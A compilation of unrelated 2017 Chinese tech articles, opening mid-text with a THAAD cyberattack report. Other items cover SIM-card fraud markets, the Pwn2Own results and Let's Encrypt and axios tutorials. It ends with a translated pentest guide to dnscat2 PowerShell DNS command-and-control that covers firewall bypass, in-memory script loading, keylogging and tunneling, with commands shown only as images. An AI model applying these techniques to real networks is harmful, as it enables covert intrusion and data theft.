《东亚日报》21日援引政府匿名消息人士的话说,自乐天上月与国防部签署换地协议后,境外针对韩军网页的攻击行为增加数十倍,“达到露骨水平”。该报对比前后变化说,签订协议之前的一周里,外部网络攻击仅一次。但在2月23日至3月1日期间,网络攻击增加到19起。从“萨德”发射车运抵韩国的消息见诸报端后,攻击势头更加明显,至3月15日大幅增至44起。韩军内外都在担心中国“已打响全面网络战”。

就在不断指责中国“报复”韩国的同时,《东亚日报》在另一篇报道中说,韩国旅行社开始停止销售中国旅游产品。该报援引该国业界人士透露的消息称,韩国电视购物周末播出时段询问中国旅游产品的人数比去年同期减少2/3,因此越来越多旅行社开始停止销售中国旅游产品,电视购物方也表示有意完全废止有关节目。据某旅行社销售人员说,很多旅行社从3月初开始就主动不再推出电视购物商品。部分电视购物方也发出通知,从4月开始将不会在节目中编排中国旅游商品。

“超过九成中国民众不愿购买韩国货”,韩国《京乡新闻》21日报道称,专业调查机构“NICERC”最近在网络上针对超过2000名北上广城市居民的问卷调查显示,84.2%的受访者将“萨德”问题列为当前中国面临的最重要国际问题,高达89.5%的受访者表示“萨德”对韩国整体企业形象造成负面影响。对于有关美日欧韩商品购买意愿的提问,愿意购买韩国商品的受访者不足10%。

手机实名制漏洞千万黑卡 刷单需求成灰色产业链

$
0
0
手机实名制漏洞千万黑卡 刷单需求成灰色产业链

12小时前来源:天极网


php?url=0FunL379GO" alt="手机实名制漏洞千万黑卡 刷单需求成灰色产业链" />

3月伊始,“小叁工作室”开始大量囤积手机卡。他们知道,月底全国会有数万保险业员工四处寻觅这些手机卡,用于完成企业APP的用户注册量考核任务。届时,这些0.1-0.2元使用一次的手机卡,甚至可以带来5元以上的价值。

“小叁工作室”是一个依托APP注册任务而生的刷单团体,其核心成员是一名上海黑客“小叁”(化名),该黑客逆向破解了平安集团的平安金管家APP,并打造了一个名为“f3322”的刷单平台,通过虚拟机实现部分APP的虚假注册。在该平台,只需要录入相关企业员工工号+注册数量,自动可以输出含有注册手机号、密码的表格。21世纪经济报道记者在此平台用被泄露的员工工号测试,购买接近200个注册量,仅需2次操作,每次操作可在1秒内完成。目前,“小叁工作室”还给数百个代理商提供了平台权限,后者成为“小叁”的刷单手。

2017年2月底,因为注册任务激增,“小叁工作室”大多代理商出现断号,注册业务从最初的每个5毛涨至5元,但依然供不应求。

有了上个月的经历,尝到甜头的刷单手开始陆续囤积手机号,并筹划在月底默契涨价,薅一把“羊毛”。2015年至今,“小叁”依托上述保险业相关APP注册的盈利已经超过2000万元。

60%虚假注册?

一位长期研究灰色产业人士白浪(化名)告诉记者:一些APP号称过亿的注册用户中,大半都是虚假注册,这都是“f3322”这种平台带来的。需要指出,除“f3322”之外,业内还有另外两个类似平台,其中一个名为“88886.ga”,三大平台囊括了绝大多数刷单市场。

一位保险业员工向记者介绍,“APP最开始推广的时候,我们都让老客户帮忙注册。但APP对客户没有吸引力,部分老客户不愿意下载、注册,很快老用户就不够了。我们每个月开单也就1-2个,但APP注册任务要求(每月)4-10个,新用户也不够完成任务。”该员工介绍,注册量的考核与各种业绩、集团方案挂钩,“如果业绩达到钻石标准,APP达不到,几千块的业绩奖励就没有了,春节后还有开门红奖励,很多人都挤着买注册。部门老大的任务如果完不成,整个部门都拿不到激励方案,所以老大们一买就是几百个。”该员工“买过30-40个注册,占总注册量的60%,我在普通员工里属于平均值”。

2月,恰逢春季开门红。三大刷单平台均出现供不应求,2月28日这天,大多代理商均接到数百、甚至上千个保险业员工的注册任务。记者长期关注的多个刷单手均在3月1日凌晨发朋友圈表示,“完成了几百个人的任务”。

在“f3322平台”上,“小叁”还给部分长期大量合作的平安保险员工开设了VIP账号。此外,“小叁”还在淘宝店铺中开发了自动对接程序,可以从用户留言中自动提取工号,从订单中提取数量,注册成功后发送给用户,其店铺旺旺名为PJ_2011。该店铺在不到一个月的时间里达到4颗钻石。

手机实名制漏洞不断

“支撑‘小叁工作室’运行的基础,是大面积流窜的手机黑卡”,白浪告诉记者:“目前,手里有十万张卡以上的卡商,几乎都做过刷单注册。而且,小叁平台每天都会有几万张卡上线,三家平台,每个月需要几百万的卡。”

卡商,是围绕三大运营商、虚拟运营商生存的养卡产业链。在电信行业,多数运营商员工为了完成每个月的开卡KPI任务不得不“批量开卡”、“养卡”。起初,由于实名制管理不严格,员工可以轻易批开成千上万的手机卡。此类手机卡一度是电信诈骗的主要号码来源。

2014年开始,工信部、公安部启动打击黑卡行动,对运营商严格要求实名制,运营商对各营业厅、渠道不断改进实名制流程,实名制过程先后经过了远程扫描、营业厅终端扫身份证等过程。2017年1月1日,三大运营商开始陆续在营业厅、渠道安装高拍仪,对实名认证启动了人脸识别。

但遗憾的是,运营商每一次启动的实名制监管程序都难免有漏洞。以中国电信为例,2017年1月6日,中国电信集团签发《关于二代身份证阅读器控件升级及秘钥控制功能上线的通知》,但在秘钥上线的同时就有破解团队称“已获取秘钥”;中国联通部署的高拍仪识别系统也被破解,有渠道商在激活手机卡时上传了多个宠物图片,依然能通过审核。

虽然目前所有手机号都已经进行实名认证,但由于漏洞存在,卡商依然可以通过目前网上泄露的身份证信息批量开卡、激活。卡商、运营商员工滥用公民身份信息的同时,依然给电信诈骗留有通道。当然,绝大部分手机卡都被用于各类APP的虚假注册、绑定等任务,成为“羊毛党”的弹药库。

同时,在卡商与“羊毛党”之间,还存在“接码平台”――大批量注册时,人工读取验证码效率极低,卡商普遍通过软件平台来批量提取短信验证码、语音验证码,这类平台被称为接码平台,目前市场上现存数十个接码平台。

以去年上线的“玉米”接码平台为例,21世纪经济报道记者在该平台发现,有430多个卡商提供平安金管家注册卡号,每个卡商都会对接20多个刷单手。除了平安金管家之外,京东商城、陌陌科技、携程、百度糯米均有数百卡商对接。当然,除了此类公开平台之外,记者还接触到多个储存了几十万、数百万黑卡的私人平台。2016年11月,警方曾破获一个拥有700万张手机卡的团队。

黑卡孳生“羊毛党”

“我们已经标记了2000多万张‘羊毛党’经常使用的黑卡。”锦佰安信息技术有限公司CEO冯继强如是告诉记者,冯继强是国内早期黑客,目前知名网络安全专家。2016年,通过与旅游平台合作、在接码平台抓取数据、借助运营商系统分析,冯继强收集整理了2000多万张黑卡数据库。锦佰安计划今年将其数据库打造成为防御“羊毛党”的产品,正式面向企业推广。

不过,需要指出,因为受成本限制,锦佰安并未能收集到全部的黑卡信息,这2000万张黑卡并未涵盖全部。21世纪经济报道记者从“f3322平台”上获取了接近200个手机号,经测试,只有极少部分出现在锦佰安数据库中。而且,大多卡商每个月都能从三大运营商开出成千上万张黑卡。

“身份证、黑卡,成套的银行卡、虚拟银行卡,都是‘羊毛党’的工具”,白浪告诉记者:“个人信息的大量泄漏、滥用造成了‘羊毛党’的横行,通过这些信息,‘羊毛党’伪装成真实用户去参加互联网金融、电商平台、各大企业官网活动,批量套取返现、优惠券等优惠活动。”据记者了解,多家银行、电商因为“羊毛党”大规模套现取消了上线不到一周的活动。

最早的“羊毛党”出现在Paypal进入中国时期,当时PayPal对新用户赠送几美元的政策吸引了大量投机者。2015-2016年间,Uber补贴成为“羊毛党”爆发的节点,大量补贴的Uber最多一天被“薅”掉数千万补贴,其后,盛行烧钱、补贴的互联网金融、电商、O2O成为“羊毛党”的圣地。如今,白浪告诉记者:“从业人员已达百万级别,且还在持续增多,后面不知道多少人会从‘羊毛党’走向黑产,这里诱惑太大了。”

值得一提的是,或许“羊毛党”的泛滥刺激了通信行业的增长。根据工信部《通信运营业统计公报》,2015年,因为移动电话市场趋于饱和,全年用户仅增长1964.5万户,包括北上广在内的10个省份移动电话普及率超过100%。但2016年,移动电话用户又净增了5054万户。

黑客向苹果勒索高额赎金:否则远程擦除用户iPhone数据

$
0
0
黑客向苹果勒索高额赎金:否则远程擦除用户iPhone数据

1小时前来源:cnBeta

摘要:苹果当前正面临某个黑客组织的勒索,要求其给予价值 7.5 万美元的加密货币(或 10 万美元 iTunes 礼品卡),否则威胁远程擦数用户 iPhone 上的数据。外媒 Motherboard 的报道称:该黑客团体自称“土耳其犯罪家族”。不过考虑到苹果的体量和庞大的现金流,只要等值 7.5 万美元的比特币 / 以太坊(Bitcoin / Ethereum)是不是太怂了点?


php?url=0Fukq60tlf" alt="黑客向苹果勒索高额赎金:否则远程擦除用户iPhone数据" />

该黑客团体向媒体表示:“我们只是想捞点钱,同时搞个苹果用户喜闻乐见的大新闻”。此外,他们还晒出了与苹果安全团队成员往来电子邮件的截图。

在上传至 YouTube 的一则视频中,该黑客团体声称他们已经登陆了部分被其窃取的账户,并且拥有曝光用户照片和远程擦除设备上数据的能力。

不过据说苹果方面发了一封邮件说要撤除该视频,理由是发布者在骗关注,且该公司不会为违反法律的网络犯罪行为提供奖励。

外媒 Motherboard 在深入查看了几封邮件后发现部分数字有出入,比如黑客在其中一封邮件中声称访问了 3 亿苹果电子邮件账户,但另一封邮件中又跳到了 5.59 亿。

截至目前,苹果并未澄清此事的真伪,而黑客给出的截止日期是 4 月 7 日,不知在那之后是否会有大量 iPhone 被远程擦除数据,而苹果只能推荐大家重置 iCloud 账户。

[编译自:Soft Pedia]

史上最高难度破解!360荣获Pwn2Own 2017世界黑客大赛总冠军!

$
0
0
史上最高难度破解!360荣获Pwn2Own 2017世界黑客大赛总冠军!

一点号周鸿yN4天前

北京时间3月18日,在加拿大进行的Pwn2Own 2017世界黑客大赛上,360安全战队成功实现了对Edge+Win10+ VMware虚拟机的连环三杀破解,一举创下单项积分27分的历史最高记录,这也是Pwn2Own举办十年来首次打破VMware的“不败金身”。在这场黑客大赛史上最高难度破解之后,360安全战队以63分的成绩锁定积分榜首,荣获大赛官方颁发的“Master of Pwn”(世界破解大师)总冠军。


php?url=0Ft0EyD11J" alt="史上最高难度破解!360荣获Pwn2Own 2017世界黑客大赛总冠军!" />

VMware是全球虚拟化解决方案的基础软件,相当于建立了一个虚拟世界。实现VMware虚拟机逃逸则意味着从黑客从虚拟世界跨越到真实世界,被称为攻击技术的顶级神技。单纯实现虚拟机逃逸已经很难,此前只有360安全战队和韩国神童Lokihardt在2016年PwnFest黑客大赛上成功攻破。攻破Edge和Win10再完成VMware虚拟机逃逸更是复杂度倍增,难度系数史无前例。


史上最高难度破解!360荣获Pwn2Own 2017世界黑客大赛总冠军!
360安全战队世界黑客大赛夺冠捧杯

经过大赛主办方、美国五角大楼网络安全服务商ZDI和微软、VMware审核,一致认为360实现了完美破解,表示此次攻击的神奇技术令人难以置信。当被问及本届大赛印象最深刻的项目时,ZDI表示毫无疑问是360的连环破解,其难度远远超过破解独立的VMware虚拟机。ZDI官方推特直接惊呼:Wow,just wow!

据了解,360安全战队由360Vulcan Team、Marvel Team以及360代码卫士的核心成员组成。该团队在此前Pwn2Own、PwnFest等世界黑客赛场上屡获冠军,创下了中国首次攻破Chorme、亚洲首次攻破IE11、全球首次攻破VMware等一系列记录。在2016年,360一共408次获得国际厂商漏洞公告致谢,漏洞报告数量排名全球第一。


史上最高难度破解!360荣获Pwn2Own 2017世界黑客大赛总冠军!
360安全战队以总积分63分排名Pwn2Own官方积分榜榜首

Pwn2Own是全球最富盛名的黑客破解大赛,由美国五角大楼网络安全服务商TippingPoint的项目组ZDI主办,微软、谷歌、苹果、Adobe、VMware等国际巨头官方支持并担纲裁判,所有被攻破的产品都会由相关厂商修复漏洞,从而推动了各大操作系统和软件安全性的提升。今年正值Pwn2Own十周年,是历届以来奖金最高、项目最多、规模最大的一次,共吸引了美国、德国和中国的11支团队参赛。

经过长达三天的激战,本届Pwn2Own正式结束。根据大赛官方公告,360安全战队此前已经攻破了苹果Safari、MacOS、Adobe Reader、Flash、windows10五大项目,再加上此次连环破解,360在参赛项目中全部获得成功,并以总积分63分、总奖金28万美元在积分榜和奖金榜均排名榜首,赢得大赛主办方ZDI和微软、苹果等巨头颁发的“世界破解大师”冠军奖杯。另外两支中国团队腾讯Sniper团队和长亭实验室分别名列第二和第三。

360安全战队负责人郑文彬表示,本次比赛体现了360在多个不同平台上全方位领先的综合实力,只有覆盖项目足够多、难度足够高的团队,才有机会竞争冠军。通过Pwn2Own夺冠,一方面是在世界舞台上展示中国安全研究人员的技术水平,另一方面也推动各大厂商提升产品的安全性。

给你的网站加把锁 -- Let's Encrypt 完全体验

$
0
0

给你的网站加把锁 -- Let's Encrypt 完全体验

今天抽时间将所有的网站 SSL证书 都更新了成 Let’s Encrypt 了。采用了 certbot 这样的自动化工具,配置管理起来非常容易(一本正经的胡说八道),这里将对整个体验过程做个详细记录。

了解 Let’s Encrypt

The project aims to make encrypted connections in the World Wide Web the default case. By getting rid of payment, web server configuration, validation emails and dealing with expired certificates it is meant to significantly lower the complexity of setting up and maintaining TLS encryption.On a linux web server, execution of only two commands is sufficient to set up HTTPS encryption, acquire and install certificates within 20 to 30 seconds.

Let’s Encrypt 是一个将于2015年末推出的数字证书认证机构,将通过旨在消除当前手动创建和安装证书的复杂过程的自动化流程,为安全网站提供免费的SSL/TLS证书。

获取 Let’s Encrypt
给你的网站加把锁 -- Let's Encrypt 完全体验
Let’s Encrypt 证书生成不需要手动进行,官方推荐 Certbot 这套自动化工具来实现。3步轻松搞定: 下载安装 certbot (Let’s Encrypt项目的自动化工具) 获得SSL证书 修改Nginx配置文件 续订 1. 安装 Certbot

根据 Certbot 官网指南,Debian 8上执行如下命令,安装certbot:

$ sudo apt-get update $ sudo apt-get install certbot -t jessie-backports

等安装完成, certbot 就可以使用了。

2. 获取SSL证书

Let’s Encrypt提供了通过各种插件获取SSL证书的各种方法。不同的是Apache的插件,大多数的插件只会帮助你得到,你必须手动配置你的Web服务器使用证书。仅获取证书而不安装证书的插件称为“验证器”,因为它们用于验证服务器是否应颁发证书。

下面将使用 Webroot 的插件来获取SSL证书。

如何使用 Webroot 插件:

Webroot 的工作插件放置在一个特殊的文件 /.well-known 目录文档根目录下,它可以打开(通过Web服务器)内由让我们的加密服务进行验证。 根据配置的不同,你可能需要明确允许访问/.well-known目录。

为了确保该目录可供Let’s Encrypt进行验证,让我们快速更改我们的Nginx配置。编辑 /etc/nginx/conf.d/example.com.conf 文件,并将下面代码添加进去:

location ~ /.well-known { allow all; }

使用 nginx -t 测试配置文件是否正确,在正确的情况下,重新让Nginx重新加载配置文件:

$ sudo systemctl reload nginx

使用certbot命令获取证书:

$ sudo certbot certonly --webroot -w /var/www/example -d example.com -d www.example.com -w /var/www/thing -d thing.is -d m.thing.is

-w :指定网站所在目录 -d :指定要生成证书的域名,如果你想多个域名保存在一个证书里(最多四个)(如 example.com 、 www.example.com 、 thing.is 、 m.thing.is ),请确保使用适当的webroot路径和域名替换命令中的相对应部分。

接下来,同意加密订阅协议:


给你的网站加把锁 -- Let's Encrypt 完全体验

如果一切顺利,你应该看到一个类似下面的输出消息:

IMPORTANT NOTES: Congratulations! Your certificate and chain have been saved at
/etc/letsencrypt/live/example.com/fullchain.pem . Your cert will expire
on 2017-06-19 . To obtain a new or tweaked version of this
certificate in the future, simply run certbot again. To
non-interactively renew all of your certificates, run “certbot
renew”

If you like Certbot, please consider supporting our work by:

Donating to ISRG / Let’s Encrypt: https://letsencrypt.org/donate

Donating to EFF: https://eff.org/donate-le

证书文件

如果运行顺利,所有服务器所需要的证书就已经生成好了。他们被放在了 /etc/letsencrypt/live/example.com/ 下:

$ ls /etc/letsencrypt/live/example.com/ cert.pem #server cert only privkey.pem #private key chain.pem #intermediates fullchain.pem #server cert + intermediates

3.修改Nginx配置文件

到这里已经成功一大半了,只需要配置 Nginx 支持刚刚生成的证书。最佳实践可以参考 Mozilla SSL Configuration Generator 。


给你的网站加把锁 -- Let's Encrypt 完全体验

注意去掉HSTS的勾(勾上会强制https,并且很难消除后续影响)。

请根据自己的服务配置修改和添加内容, 重点只需要关注6行 :

server { listen 443 ssl http2; .... ssl_certificate /etc/letsencrypt/live/example.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/example.com/privkey.pem; ssl_dhparam /etc/nginx/ssl/dhparam.pem; ssl_trusted_certificate /etc/letsencrypt/live/example.com/root_ca_cert_plus_intermediates; resolver <IP DNS resolver>; .... }

dhparam.pem 可以通过以下命令生成:

$ sudo mkdir /etc/nginx/ssl $ sudo openssl dhparam -out /etc/nginx/ssl/dhparam.pem 2048

Nginx 配置完成后重启,用浏览器测试是否一切正常。


给你的网站加把锁 -- Let's Encrypt 完全体验
4.续订

Let's Encrypt 证书有效期只有3个月,所以,需要定时renew。我将使用 corntab 来执行renew命令:

$ sudo crontab -e

添加以下行:

30 2 * * 1 /usr/bin/certbot renew >> /var/log/le-renew.log && /bin/systemctl reload nginx

保存,并退出。这个定时任务将在每个星期一的凌晨两点半执行 certbot renew 命令,并重启Nginx。最后将日志输出到 /var/log/le-renewal.log 。

测试你的网站 SSL 安全性

Qualys SSL Labs 提供了全面的 SSL 安全性测试,填写你的网站域名,给自己的 HTTPS 配置打个分。


给你的网站加把锁 -- Let's Encrypt 完全体验

这意味着你网站的HTTPS已经启用成功啦,为自己鼓个掌。 ()。

axios的基本使用

$
0
0

vue更新到2.0之后,作者就宣告不再对vue-resource更新,而是推荐的 axios

基于 Promise 的 HTTP 请求客户端,可同时在浏览器和 node.js 中使用

版本 v0.15.3

功能特性 在浏览器中发送 XMLHttpRequests 请求 在 node.js 中发送 http请求 支持 Promise API 拦截请求和响应 转换请求和响应数据 自动转换 JSON 数据 客户端支持保护安全免受 XSRF 攻击 请求方式 axios(config) axios.request(config) axios.get(url[, config]) axios.delete(url[, config]) axios.head(url[, config]) axios.post(url[, data[, config]]) axios.put(url[, data[, config]]) axios.patch(url[, data[, config]]) get请求

axios .get('/user',{ params:{id: 12} }) .then(res=>{ console.log(res) }) .catch(err=>{ console.log(err) })

post请求

axios .post('/user',{id: 12}) .then(res=>{ console.log(res) }) .catch(err=>{ console.log(err) })

发送并发请求 axios .all([axios.get('/profile'), axios.post('/user')]) .then(axios.spread((res1, res2)=>{ console.log(res1) console.log(res2) })) axios.all([]) 返回的结果是一个数组,使用 axios.spread 可将数组 [res1,res2] 展开为 res1, res2

直接通过配置发送请求,类似于 $.ajax(config)

axios(config) / axios(url,[config])

axios({ url:'/user', method: 'post', data:{ id: 1 }, }) axios('/user/12')

axios实例 实例配置

使用自定义的配置创建一个axios实例

var axiosIns = axios.create({ baseURL: '', timeout: 60000, headers: {'X-Custom-Header': 'foo'} })

axiosIns.get/post/delete/put/patch/head 都可以共用实例配置

请求配置 { // 请求地址 url: '/user', // 请求类型 method: 'get', // 请根路径 baseURL: 'http://www.mt.com/api', // 请求前的数据处理 transformRequest:[function(data){}], // 请求后的数据处理 transformResponse: [function(data){}], // 自定义的请求头 headers:{'x-Requested-With':'XMLHttpRequest'}, // URL查询对象 params:{ id:12 }, // 查询对象序列化函数 paramsSerializer: function(params){ } // request body data: { key: 'aa'}, // 超时设置s timeout: 1000, // 跨域是否带Token withCredentials: false, // 自定义请求处理 adapter: function(resolve, reject, config){}, // 身份验证信息 auth: { uname: '', pwd: '12'}, // 响应的数据格式 json / blob /document /arraybuffer / text / stream responseType: 'json', // xsrf 设置 xsrfCookieName: 'XSRF-TOKEN', xsrfHeaderName: 'X-XSRF-TOKEN', // 下传和下载进度回调 onUploadProgress: function(progressEvent){ Math.round( (progressEvent.loaded * 100) / progressEvent.total ) }, onDownloadProgress: function(progressEvent){}, // 最多转发数,用于node.js maxRedirects: 5, // 最大响应数据大小 maxContentLength: 2000, // 自定义错误状态码范围 validateStatus: function(status){ return status >= 200 && status < 300; }, // 用于node.js httpAgent: new http.Agent({ keepAlive: treu }), httpsAgent: new https.Agent({ keepAlive: true }), // 用于设置跨域请求代理 proxy: { host: '127.0.0.1', port: 8080, auth: { username: 'aa', password: '2123' } }, // 用于取消请求 cancelToken: new CancelToken(function(cancel){}) } 响应的数据结构

{ data: {}, //服务器返回的数据 status: 200, statusText: 'OK', headers: {}, config: {} }

全局配置

应用于所有请求

axios.defaults.baseURL = ‘ http://www.mt.com/api ‘

axios.defaults.headers.post[‘Content-Type’] = ‘application/x-www-form-urlencoded’; 拦截请求与响应

在 then 或 catch 之前拦截处理

// 请求拦截 axios.interceptors.request.use(function (config){ // 处理请求之前的配置 return config; }, function (error){ // 请求失败的处理 return Promise.reject(error); }); // 响应拦截 axios.interceptors.response.use(function (response){ // 处理响应数据 return response; }, function (error){ // 处理响应失败 return Promise.reject(error); });

错误处理

axios.get('/user/12345') .catch(function (error) { if (error.response) { // 服务器返回正常的异常对象 console.log(error.response.data); console.log(error.response.status); console.log(error.response.headers); } else { // 服务器发生未处理的异常 console.log('Error', error.message); } console.log(error.config); });

取消请求

var CancelToken = axios.CancelToken; var source = CancelToken.source(); axios.get('/user/12345', { cancelToken: source.token }).catch(function(thrown) { if (axios.isCancel(thrown)) { console.log('Request canceled', thrown.message); } else { // handle error } }); // 取消请求 source.cancel('Operation canceled by the user.');

var CancelToken = axios.CancelToken; var cancel; axios.get('/user/12345', { cancelToken: new CancelToken(function executor(c){ cancel = c; }) }); // 取消请求 cancel();

qs模块

用于处理URL查询参数

var qs = require('qs'); axios.post('/foo', qs.stringify({ 'bar': 123 }));

更详细更新的文档请参考 axios github


Cloud security still a work in progress

$
0
0

Cloud security still a work in progress

A few years ago, ESG (and other) research indicated that security concerns posed the biggest impediment for more pervasive use of cloud computing. What happened next? Business executives and CIOs found that cloud agility, flexibility and potential cost savings were too good to pass up, creating a “cloud or bust” mentality. Naturally, CISOs had to do their best and go along for the ride whether they were ready or not.

+ Also on Network World: The top 12 cloud security threats +

So, how’s cloud security going at this point? ESG research indicates it is still a work in progress. As part of a recent survey, cybersecurity professionals were presented with a series of statements about cloud security and asked whether they agreed or disagreed with each one. Here are some of the results:

69% of cybersecurity professionals strongly agree or agree with the statement: “My organization is still learning how to apply its security policies to public/private cloud infrastructure.” 62% of cybersecurity professionals strongly agree or agree with the statement: “It is difficult to get the same level of visibility into cloud-based workloads as we have on our physical network.” 56% of cybersecurity professionals strongly agree or agree with the statement: “My organization’s current network security operations and processes lack the right level of automation and orchestration needed for the cloud.” 52% of cybersecurity professionals strongly agree or agree with the statement: “The security team does not have the appropriate staff level to manage network security operations for cloud infrastructure.”

Taken together, there are still wide cloud security gaps associated with people, processes and technologies.

What can CISOs do to bridge these gaps? Based upon lots of qualitative and quantitative research, here are a few tips:

1. Get training. Many of the deficits described above are a consequence of on-the-job cloud security training. Yes, cybersecurity professionals will pick things up, but by the time security pros figure things out, cloud security will lag way behind where it should be. Since cloud computing demands a new attitude and skill set, it’s worthwhile to invest in appropriate hands-on security education up front. Ambitious members of the cybersecurity staff will recognize the career opportunity and pursue cloud security training with gusto.

2. Use cloud security as an organizational change agent. CISOs have long lamented about their desire to drive information security closer to the business. Well, cloud computing provides a perfect opportunity to force this change. Cloud security polices, controls and even application security can be far more effective if they are integrated into early stages of business planning and application development lifecycles. ESG has found this to be true in practice―cloud computing leaders tend to have security baked into disciplines like DevOps and data center operations rather than bolting on security controls once cloud-based workloads are already deployed.

3.Consider cloud security as a tabula rasa.ESG has noted that organizations tend to struggle when they try to force fit traditional security controls into cloud computing. Often, they end up wasting time, scrapping these efforts, replacing traditional controls with cloud-centric controls and then struggle to catch up with cloud proliferation. Yes, it’s worthwhile to try to emulate existing best practices with cloud security, but smart CISOs will approach this with an open mind and look for the best security controls that gracefully support the nuances of cloud security out of the box.

4. Look for help. While the cloud is still new and scary to a lot of cybersecurity professionals, cloud popularity has produced a growing population of cloud security specialists. CISOs should do a lot of background checks on their vendors by grilling management, field engineering and reference accounts. With the right level of due diligence, you’ll be able to separate the helpful and real cloud security specialists from a long line of posers.

90s Web Insecurity Daily Security Byte

$
0
0

In my demos, I often show the most basic web applications vulnerabilities . For instance, I show a SQL injection in a very badly designed web login interface. I usethis particular example because I think it’s relatively easy for non-security and less technical people to understand. The thing is, web applications and SQL injection have both evolved well beyond this old-school demo. I frankly don’t expect many modern web sites to suffer the very basic coding flaws I exploit in my demo. Yesterday, my assumption was proven wrong.

Recently, Mozilla received a complaint from a web site owner about Firefox’s “notice” of an insecure site. The complaint itself suggests the author does know much about security simply because he doesn’t understand the relevance of using HTTP, rather than HTTPS, for his site’s login page. However, when Redditors noticed this complaint, and started probing the web site in question, they found the site even less secure than expected. Frankly, it suffers from such basic flaws that some think the entire incident may be a bad joke. Watch the Daily Byte video below to learn more about this insecure site. If you’re a web developer, also check out the OWASP link below to learn how to avoid the samemistakes.

Episode Runtime: 5:33

Direct YouTube Link: https://www.youtube.com/watch?v=FRml8n9cezY

EPISODE REFERENCES:

Firefox bug report turns into web insecurity drama Ars Technica Reddit post on this insecure website Reddit Tweet highlighting the now hidden Mozilla bug submission Twitter One of my older videos illustrating SQL injection YouTube Learn about web security with the Open Web Application Security Project OWASP

Corey Nachreiner, CISSP ( @SecAdept )

【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

$
0
0
【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

2017-03-22 16:14:24
来源:blackhillsinfosec.com 作者:pwn_361

阅读:357次
点赞(0)
收藏





【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

翻译:pwn_361

稿费:200RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


前言

想象一下这种情况,渗透测试人员对目标内网的一台服务器进行测试时,如果该服务器只允许一些特定服务的流量出站,其它出站流量都被防火墙屏蔽时,测试人员使用正常的命令和控制服务方法就可能无法有效控制目标。在这种情况下,测试人员还有一个最后的选择--通过DNS建立命令和控制服务。

使用DNS建立命令和控制服务,实际上就是将C2通信数据嵌入到DNS查询数据中,DNS查询数据穿越互联网DNS分层结构最终到达一个权威DNS服务器,而该DNS权威服务器正好就是你的C2服务器。然后,C2服务器将应答数据嵌入到DNS响应数据中,该DNS响应数据最终被转发给C2客户端,完成数据交互。

Ron Bowes写的dnscat2在信息安全相关应用中是一个好用的DNS隧道工具。dnscat2通过一个预共享密钥支持通信加密、认证,并支持多个同时会话,和SSH有相似的隧道、命令shell,并支持大多数流行的DNS查询类型(TXT,MX,CNAME,A,AAAA)。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。

最近,我使用PowerShell脚本重写了dnscat2客户端的所有功能,不仅如此,我还添加了一些PowerShell特有的功能,因此,现在我们有了一个PowerShell版的dnscat2客户端。PowerShell在攻击者和渗透测试人员中非常流行,这是因为它非常好用,而且由于它支持大多数版本的windows系统,因此它还存在不错的通用性。在这篇文章中,我将给大家展示如何同时使用dnscat2工具和PowerShell脚本绕过防火墙。

dnscat2除了支持常见的DNS服务器,它也可以将DNS查询数据直接发送到dnscat2服务器,这对我们的测试很有用。在这篇文章中我们的示例只使用了本地连接,不过,你也可以使用DNS权威服务器。


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

安装

在dnscat2的“README.md”文件中,对于如何安装dnscat2服务,Ron Bowes提供了相应的教程。当服务安装好以后,你可以使用类似于下面的命令开启该服务:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

由于nslookup命令使用的时序DNS事务ID值在最初并不是随机的,因此为了PowerShell客户端能正常工作,需要使用“--no-cache”参数。

同时,为了使用dnscat2-Powershell脚本,目标Windows机器需要支持PowerShell 2.0以上版本。dnscat2-Powershell函数可以通过下面的脚本和命令来加载:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

还有一种方法,你可以在PowerShell控制台中使用下面的命令,远程下载并加载脚本:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

脚本加载以后,运行下面的命令,开启dnscat2-Powershell服务:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

“Start-Dnscat2”是dnscat2-Powershell中主函数的名称,它的功能是与服务器建立一个命令会话。 在服务器一端的控制台,你可以远程直接在客户机上执行不同的命令。如下面视频所示:

如果你不想使用命令会话,你也可以使用“Start-Dnscat2”的一些参数,如“-Eexec”,“-ExecPS”,“-Console”。


Powershell特性

我给dnscat2-Powershell脚本添加了一些额外的、和Powershell相关的功能。例如,你可以通过下面的命令,开启一个远程交互式的Powershell会话:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

你也可以通过给“Start-Dnscat2”传递“-ExecPS”参数,直接开启这个功能。此时,客户端将接收来自服务器端的输入,然后将这个输入数据传递给Invoke-Expression,并返回Invoke-Expression的输出结果。在整个客户端的生命期内,该变量都会保存着。这个功能让攻击者使用一些Powershell工具成为了可能,如PowerSploit。

此外,通过DNS,使用下面的命令,也可以将Powershell脚本直接加载到客户端的内存中,文件无需存盘:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

如上图,该脚本文件的16进制编码将会被存储在$var变量中。然后,这个变量中的16进制数据可以被转换为一个字符串,并以Powershell函数的形式加载。类似地,需要加载下面的命令:


【技术分享】利用PowerShell和Dnscat2绕过防火墙(含演示视频)

上面的命令会将存储在$var变量中的数组写到/tmp/var文件中。在写这篇文章时,这两个功能都是新加入的,目前还存在一些稳定性问题,对于较小的脚本可能会更稳定一些。

在下面的视频中,我开启了一个远程PowerShell会话,并展示了如何通过DNS加载其它PowerShell脚本。我们的示例是PowerSploit中的Get-Keystrokes脚本。


加密

默认情况下,所有的通信都是加密的。不过可以通过给“Start-Dnscat2”传递“-NoEncryption”参数关闭它,同时,在开启服务端时需要添加“-e open”命令。在不使用通信加密时,所有dnscat2数据包会采用简单的16进制编码,对于那些了解dnscat2协议的人,可能会很容易的恢复出通信数据。通过预共享密钥的认证方法,可以有效阻止中间人攻击。


隧道

dnscat2支持隧道功能,类似于SSH的本地端口转发。dnscat2服务器端开启一个本地监听,然后所有发到这个端口的数据都会经过DNS隧道,到达dnscat2客户端,最后再转发到另一个主机的一个端口上。例如,一个dnscat2客户端所在的内部网络中,有一个SSH服务器,当攻击者需要连接该SSH服务器时,就可能考虑使用该方法。如下面视频所示:


